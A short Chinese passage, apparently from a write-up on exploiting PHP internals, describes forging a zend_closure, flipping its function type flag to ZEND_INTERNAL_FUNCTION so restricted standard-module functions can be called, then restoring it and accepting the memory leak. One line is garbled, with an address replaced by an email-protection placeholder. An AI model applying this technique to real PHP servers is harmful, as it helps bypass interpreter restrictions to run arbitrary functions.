同时,我们需要改掉一些标志位:
[email protected]+0x38处是zend_closure.zend_function.zend_internal_function.type
,将其更改为内部函数
#define ZEND_INTERNAL_FUNCTION 1
修改完新的zend_closure,将其赋给helper->b
,这样我们就可以对特定standard模块内的函数进行调用了。
调用完后再修改回去,就OK了。
当然,因为我们非法占用了3个128字节的块儿,这些块儿会造成内存泄漏。
还有this->helper->a
这个字符串,其对应的内容实质上只是一段内存,并不是真正的字符串,其长度会特别大,这个字符串也得修改回来,不过不该也无所谓了,内存泄漏就泄漏吧23333.